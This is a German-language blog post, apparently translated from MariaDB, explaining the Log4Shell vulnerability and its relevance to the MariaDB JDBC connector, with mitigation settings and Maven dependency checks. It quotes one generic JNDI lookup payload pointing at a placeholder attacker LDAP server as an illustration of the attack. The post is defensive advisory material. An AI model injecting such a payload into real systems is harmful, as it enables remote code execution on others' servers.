MariaDB
 sql >> Datenbank >  >> RDS >> MariaDB

Ist der MariaDB JDBC-Treiber von der Log4j-Schwachstelle betroffen?

Ist der MariaDB Java Connector von der kürzlich in Log4 entdeckten Sicherheitslücke betroffen? Standardmäßig verwendet der Java-Connector Log4j nicht. Wenn Sie es jedoch für die Verwendung von SLF4j konfiguriert haben, lesen Sie weiter.

Für Informationen, die über den Bereich des MariaDB-JDBC-Treibers hinausgehen, lesen Sie Log4Shell und MariaDB.

Hinweis :Dieser Blog wurde am 15.12.2021 aktualisiert, um Details zu CVE-2021-45046 aufzunehmen.

Die Log4j-Schwachstelle

Apache Log4j ist ein beliebtes Open-Source-Protokollierungsframework für Java-Anwendungen. Es wird in einer Vielzahl von Open-Source- und Unternehmensprojekten verwendet, darunter Cloud-Anbieter und E-Mail-Dienstanbieter. Am 9. Dezember 2021 wurde in Log4j eine 0-Day-Schwachstelle gefunden, die zu einer Remote-Code-Ausführung führen kann, wodurch ein Hacker beliebigen Code in einem System ausführen kann. Die Schwachstelle ist als „Log4Shell“ bekannt und wird als CVE-2021-44228 verfolgt.

Kurz gesagt, die Schwachstelle ermöglicht es einem Angreifer, eine JNDI-Lookup-Zeichenfolge einzufügen, die beispielsweise einen (vom Angreifer kontrollierten) Remote-LDAP-Server aufruft, der wiederum eine bösartige Java-Klasse zurückgibt:

${jndi:ldap://[attacker_site]/[malicious_java_class]}

Wenn eine solche Zeichenfolge von Log4j protokolliert wird, kann eine bösartige Java-Klasse beliebigen Code ausführen (z. B. über einen statischen Codeblock).

Betroffene Versionen

Glücklicherweise sind nur die Log4j-Versionen 2.x vor 2.15.0 betroffen. Weitere Informationen finden Sie auf der Seite Apache Log4j-Sicherheitslücken. Die Schwachstelle ist in den Log4j-Versionen 1.x nicht vorhanden.

So mindern Sie CVE-2021-44228

Die beste Strategie zur Minderung der Schwachstelle besteht darin, die Log4j-Abhängigkeit in Ihren Projekten zu aktualisieren. Version 2.16.0, die die Nachrichtensuche entfernt, ist bereits verfügbar. Danke an das Team für die schnelle Veröffentlichung.

Aktualisieren :Log4j 2.16.0 behebt auch die zweite Schwachstelle, die als CVE-2021-45046 verfolgt wird.

Der MariaDB-JDBC-Treiber verwendet Log4j 2.x nicht. Es unterstützt jedoch SLF4J. Überprüfen Sie, ob Sie den Log4j-Binder für SLF4J verwenden, und falls ja, aktualisieren Sie Log4j entsprechend oder setzen Sie die folgende Konfigurationsvariable:

-Dlog4j2.formatMsgNoLookups=true

Oder setzen Sie die folgende Umgebungsvariable:

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

Hinweis :Die Protokollierung wird nur aktiviert, wenn sie explizit durch log festgelegt wird Parameter. Neben Log4j können Sie sich auch für andere SLF4J-Bindungen wie Jakarta Commons Logging, Logback oder die Java Logging API entscheiden.

Wenn Sie Maven verwenden, können Sie den folgenden Befehl ausführen, um herauszufinden, ob Ihr Projekt von Log4j abhängt:

mvn dependency:tree -Dincludes=org.apache.logging.log4j:log4j-core

Hier ist ein Beispiel für die Art der Ausgabe, die Sie in einem gefährdeten Projekt erhalten:

Wenn Ihr Projekt aus irgendeinem Grund nicht kompiliert wird, können Sie alternativ Folgendes ausführen:

mvn help:effective-pom

Suchen Sie nach log4j-core Abhängigkeit und überprüfen Sie die verwendete Version.

Zusätzliche Informationen

Linkliste im Blog:

  • MariaDB-Java-Connector
  • SLF4j
  • Verwandter Blog Log4Shell und MariaDB
  • CVE-2021-44228
  • Apache Log4j-Sicherheitslücken
  • Apache Log4j Version 2.16.0
  • log Parameter